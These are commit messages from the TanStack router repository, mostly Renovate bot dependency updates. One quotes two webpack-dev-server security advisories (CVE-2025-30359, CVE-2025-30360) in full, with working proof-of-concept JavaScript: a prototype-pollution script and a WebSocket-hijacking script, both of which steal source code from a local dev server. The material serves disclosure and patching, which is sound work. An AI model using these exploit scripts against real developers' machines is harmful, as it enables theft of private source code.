Change <Link/> and <Block/> elements to use `createMemo` and
`splitProps` to preserve reactivity.
Render children only once / Remove props spreading
#4209
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| autofix-ci/action | action | digest | `551dded` -> `635ffb0` |
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[webpack-dev-server](https://redirect.github.com/webpack/webpack-dev-server)
| [`5.2.0` ->
`5.2.1`](https://renovatebot.com/diffs/npm/webpack-dev-server/5.2.0/5.2.1)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-30359](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v)
### Summary
Source code may be stolen when you access a malicious web site.
### Details
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. Combined with prototype pollution, the attacker can get a
reference to the webpack runtime variables.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18426585/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools
console.

The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
```
This script uses the function generated by
[`renderRequire`](3919c844ec/lib/javascript/JavascriptModulesPlugin.js (L1383)).
```js
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
```
Especially, it uses the fact that `Array::forEach` is called for
`__webpack_require__.i` and `execOptions` contains
`__webpack_require__`.
It uses prototype pollution against `Array::forEach` to extract
`__webpack_require__` reference.
### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and output path for the entrypoint script.
<details>
<summary>Old content</summary>
### Summary
Source code may be stolen when you use [`output.iife:
false`](https://webpack.js.org/configuration/output/#outputiife) and
access a malicious web site.
### Details
When `output.iife: false` is set, some global variables for the webpack
runtime are declared on the `window` object (e.g.
`__webpack_modules__`).
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. By running that, the webpack runtime variables will be
declared on the `window` object.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.
I pointed out `output.iife: false`, but if there are other options that
makes the webpack runtime variables to be declared on the `window`
object, the same will apply for those cases.
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18409777/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`
5. Open the devtools console.
6. You can see the content of `src/index.js` and other scripts loaded.

The script in the POC site is:
```js
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
```
### Impact
This vulnerability can result in the source code to be stolen for users
that has `output.iife: false` option set and uses a predictable port and
output path for the entrypoint script.
</details>
####
[CVE-2025-30360](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h)
### Summary
Source code may be stolen when you access a malicious web site with
non-Chromium based browser.
### Details
The `Origin` header is checked to prevent Cross-site WebSocket hijacking
from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address `Origin` headers.
55220a800b/lib/Server.js (L3113-L3127)
This allows websites that are served on IP addresses to connect
WebSocket.
By using the same method described in [the
article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages)
linked from CVE-2018-14732, the attacker get the source code.
related commit:
72efaab833
(note that `checkHost` function was only used for Host header to prevent
DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based
browsers) users due to [the non-HTTPS private access blocking
feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18418233/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main`
with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit `src/index.js` in the extracted directory
6. You can see the content of `src/index.js`

The script in the POC site is:
```js
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
```
### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and uses a non-Chromium based browser.
---
### Release Notes
<details>
<summary>webpack/webpack-dev-server (webpack-dev-server)</summary>
###
[`v5.2.1`](https://redirect.github.com/webpack/webpack-dev-server/blob/HEAD/CHANGELOG.md#521-2025-03-26)
[Compare
Source](https://redirect.github.com/webpack/webpack-dev-server/compare/v5.2.0...v5.2.1)
##### Security
- cross-origin requests are not allowed unless allowed by
`Access-Control-Allow-Origin` header
- requests with an IP addresses in the `Origin` header are not allowed
to connect to WebSocket server unless configured by `allowedHosts` or it
different from the `Host` header
The above changes may make the dev server not work if you relied on such
behavior, but unfortunately they carry security risks, so they were
considered as fixes.
##### Bug Fixes
- prevent overlay for errors caught by React error boundaries
([#​5431](https://redirect.github.com/webpack/webpack-dev-server/issues/5431))
([8c1abc9](8c1abc903a))
- take the first network found instead of the last one, this restores
the same behavior as 5.0.4
([#​5411](https://redirect.github.com/webpack/webpack-dev-server/issues/5411))
([ffd0b86](ffd0b86b79))
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>